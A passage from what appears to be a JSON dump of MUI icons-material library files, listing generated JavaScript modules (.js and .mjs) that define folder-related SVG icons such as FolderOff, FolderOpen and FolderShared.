    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 15.5h-2v-4h2zM20 6h-8l-1.41-1.41C10.21 4.21 9.7 4 9.17 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-1.75 5.5H18v4c0 .83-.67 1.5-1.5 1.5h-2c-.83 0-1.5-.67-1.5-1.5v-4h-.25c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h1.75v-.25c0-.41.34-.75.75-.75h.5c.41 0 .75.34.75.75V10h1.75c.41 0 .75.34.75.75s-.34.75-.75.75\"\n}), 'FolderDeleteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderDeleteRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 15.5h-2v-4h2zM20 6h-8l-1.41-1.41C10.21 4.21 9.7 4 9.17 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-1.75 5.5H18v4c0 .83-.67 1.5-1.5 1.5h-2c-.83 0-1.5-.67-1.5-1.5v-4h-.25c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h1.75v-.25c0-.41.34-.75.75-.75h.5c.41 0 .75.34.75.75V10h1.75c.41 0 .75.34.75.75s-.34.75-.75.75\"\n}), 'FolderDeleteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderDeleteSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 6v14H2V4h8l2 2zm-5.5 4V9h-2v1H12v1.5h1V17h5v-5.5h1V10zm0 5.5h-2v-4h2z\"\n}), 'FolderDeleteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderDeleteSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 6v14H2V4h8l2 2zm-5.5 4V9h-2v1H12v1.5h1V17h5v-5.5h1V10zm0 5.5h-2v-4h2z\"\n}), 'FolderDeleteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderDeleteTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 11.5h2v4h-2zM20 8v10H4V6h5.17l2 2zm-1 2h-2.5V9h-2v1H12v1.5h1v4c0 .83.67 1.5 1.5 1.5h2c.83 0 1.5-.67 1.5-1.5v-4h1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 10V9h-2v1H12v1.5h1v4c0 .83.67 1.5 1.5 1.5h2c.83 0 1.5-.67 1.5-1.5v-4h1V10zm0 5.5h-2v-4h2zM20 6h-8l-2-2H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2m0 12H4V6h5.17l2 2H20z\"\n}, \"1\")], 'FolderDeleteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderDeleteTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 11.5h2v4h-2zM20 8v10H4V6h5.17l2 2zm-1 2h-2.5V9h-2v1H12v1.5h1v4c0 .83.67 1.5 1.5 1.5h2c.83 0 1.5-.67 1.5-1.5v-4h1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 10V9h-2v1H12v1.5h1v4c0 .83.67 1.5 1.5 1.5h2c.83 0 1.5-.67 1.5-1.5v-4h1V10zm0 5.5h-2v-4h2zM20 6h-8l-2-2H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2m0 12H4V6h5.17l2 2H20z\"\n}, \"1\")], 'FolderDeleteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-2-2H6.83l14.93 14.93c.15-.28.24-.59.24-.93V8c0-1.1-.9-2-2-2M2.1 2.1.69 3.51l1.56 1.56c-.15.28-.24.59-.24.93L2 18c0 1.1.9 2 2 2h13.17l3.31 3.31 1.41-1.41z\"\n}), 'FolderOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-2-2H6.83l14.93 14.93c.15-.28.24-.59.24-.93V8c0-1.1-.9-2-2-2M2.1 2.1.69 3.51l1.56 1.56c-.15.28-.24.59-.24.93L2 18c0 1.1.9 2 2 2h13.17l3.31 3.31 1.41-1.41z\"\n}), 'FolderOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-2-2H7.17l4 4H20v9.17l1.76 1.76c.15-.28.24-.59.24-.93V8c0-1.1-.9-2-2-2M2.1 2.1.69 3.51l1.56 1.56c-.15.28-.24.59-.24.93L2 18c0 1.1.9 2 2 2h13.17l3.31 3.31 1.41-1.41zM4 18V6.83L15.17 18z\"\n}), 'FolderOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-2-2H7.17l4 4H20v9.17l1.76 1.76c.15-.28.24-.59.24-.93V8c0-1.1-.9-2-2-2M2.1 2.1.69 3.51l1.56 1.56c-.15.28-.24.59-.24.93L2 18c0 1.1.9 2 2 2h13.17l3.31 3.31 1.41-1.41zM4 18V6.83L15.17 18z\"\n}), 'FolderOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.81 2.81a.996.996 0 0 0-1.41 0C1 3.2 1 3.83 1.39 4.22l.85.85c-.14.28-.23.59-.23.93L2 18c0 1.1.9 2 2 2h13.17l2.61 2.61c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41zM20 6h-8l-1.41-1.41C10.21 4.21 9.7 4 9.17 4H6.83l14.93 14.93c.15-.28.24-.59.24-.93V8c0-1.1-.9-2-2-2\"\n}), 'FolderOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.81 2.81a.996.996 0 0 0-1.41 0C1 3.2 1 3.83 1.39 4.22l.85.85c-.14.28-.23.59-.23.93L2 18c0 1.1.9 2 2 2h13.17l2.61 2.61c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41zM20 6h-8l-1.41-1.41C10.21 4.21 9.7 4 9.17 4H6.83l14.93 14.93c.15-.28.24-.59.24-.93V8c0-1.1-.9-2-2-2\"\n}), 'FolderOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 6-2-2H6.83L22 19.17V6zM2.1 2.1.69 3.51 2 4.83V20h15.17l3.32 3.31 1.41-1.41z\"\n}), 'FolderOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 6-2-2H6.83L22 19.17V6zM2.1 2.1.69 3.51 2 4.83V20h15.17l3.32 3.31 1.41-1.41z\"\n}), 'FolderOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.17 18 4 6.83V18zm-4-10L20 17.17V8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m.69 3.51 1.56 1.56c-.15.28-.24.59-.24.93L2 18c0 1.1.9 2 2 2h13.17l3.31 3.31 1.41-1.41L2.1 2.1zM15.17 18H4V6.83zM20 6h-8l-2-2H7.17l4 4H20v9.17l1.76 1.76c.15-.28.24-.59.24-.93V8c0-1.1-.9-2-2-2\"\n}, \"1\")], 'FolderOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.17 18 4 6.83V18zm-4-10L20 17.17V8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m.69 3.51 1.56 1.56c-.15.28-.24.59-.24.93L2 18c0 1.1.9 2 2 2h13.17l3.31 3.31 1.41-1.41L2.1 2.1zM15.17 18H4V6.83zM20 6h-8l-2-2H7.17l4 4H20v9.17l1.76 1.76c.15-.28.24-.59.24-.93V8c0-1.1-.9-2-2-2\"\n}, \"1\")], 'FolderOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderOpen.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 12H4V8h16z\"\n}), 'FolderOpen');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderOpen.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 12H4V8h16z\"\n}), 'FolderOpen');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderOpenOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 12H4V8h16z\"\n}), 'FolderOpenOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderOpenOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 12H4V8h16z\"\n}), 'FolderOpenOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderOpenRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-1.41-1.41C10.21 4.21 9.7 4 9.17 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-1 12H5c-.55 0-1-.45-1-1V9c0-.55.45-1 1-1h14c.55 0 1 .45 1 1v8c0 .55-.45 1-1 1\"\n}), 'FolderOpenRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderOpenRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-1.41-1.41C10.21 4.21 9.7 4 9.17 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-1 12H5c-.55 0-1-.45-1-1V9c0-.55.45-1 1-1h14c.55 0 1 .45 1 1v8c0 .55-.45 1-1 1\"\n}), 'FolderOpenRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderOpenSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 6H12l-2-2H2v16h20zm-2 12H4V8h16z\"\n}), 'FolderOpenSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderOpenSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 6H12l-2-2H2v16h20zm-2 12H4V8h16z\"\n}), 'FolderOpenSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderOpenTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 8h16v10H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 12H4V8h16z\"\n}, \"1\")], 'FolderOpenTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderOpenTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 8h16v10H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 12H4V8h16z\"\n}, \"1\")], 'FolderOpenTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m9.17 6 2 2H20v10H4V6zM10 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2h-8z\"\n}), 'FolderOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m9.17 6 2 2H20v10H4V6zM10 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2h-8z\"\n}), 'FolderOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.59 4.59C10.21 4.21 9.7 4 9.17 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2h-8z\"\n}), 'FolderRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.59 4.59C10.21 4.21 9.7 4 9.17 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2h-8z\"\n}), 'FolderRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderShared.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-5 3c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m4 8h-8v-1c0-1.33 2.67-2 4-2s4 .67 4 2z\"\n}), 'FolderShared');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderShared.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-5 3c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m4 8h-8v-1c0-1.33 2.67-2 4-2s4 .67 4 2z\"\n}), 'FolderShared');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderSharedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 12H4V6h5.17l2 2H20zm-5-5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m-4 4h8v-1c0-1.33-2.67-2-4-2s-4 .67-4 2z\"\n}), 'FolderSharedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderSharedOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 12H4V6h5.17l2 2H20zm-5-5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m-4 4h8v-1c0-1.33-2.67-2-4-2s-4 .67-4 2z\"\n}), 'FolderSharedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderSharedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-1.41-1.41C10.21 4.21 9.7 4 9.17 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-5 3c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m4 8h-8v-1c0-1.33 2.67-2 4-2s4 .67 4 2z\"\n}), 'FolderSharedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderSharedRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-1.41-1.41C10.21 4.21 9.7 4 9.17 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-5 3c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m4 8h-8v-1c0-1.33 2.67-2 4-2s4 .67 4 2z\"\n}), 'FolderSharedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderSharedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 6H12l-2-2H2v16h20zm-7 3c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m4 8h-8v-1c0-1.33 2.67-2 4-2s4 .67 4 2z\"\n}), 'FolderSharedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderSharedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 6H12l-2-2H2v16h20zm-7 3c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m4 8h-8v-1c0-1.33 2.67-2 4-2s4 .67 4 2z\"\n}), 'FolderSharedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FolderSharedTwoTone.js",
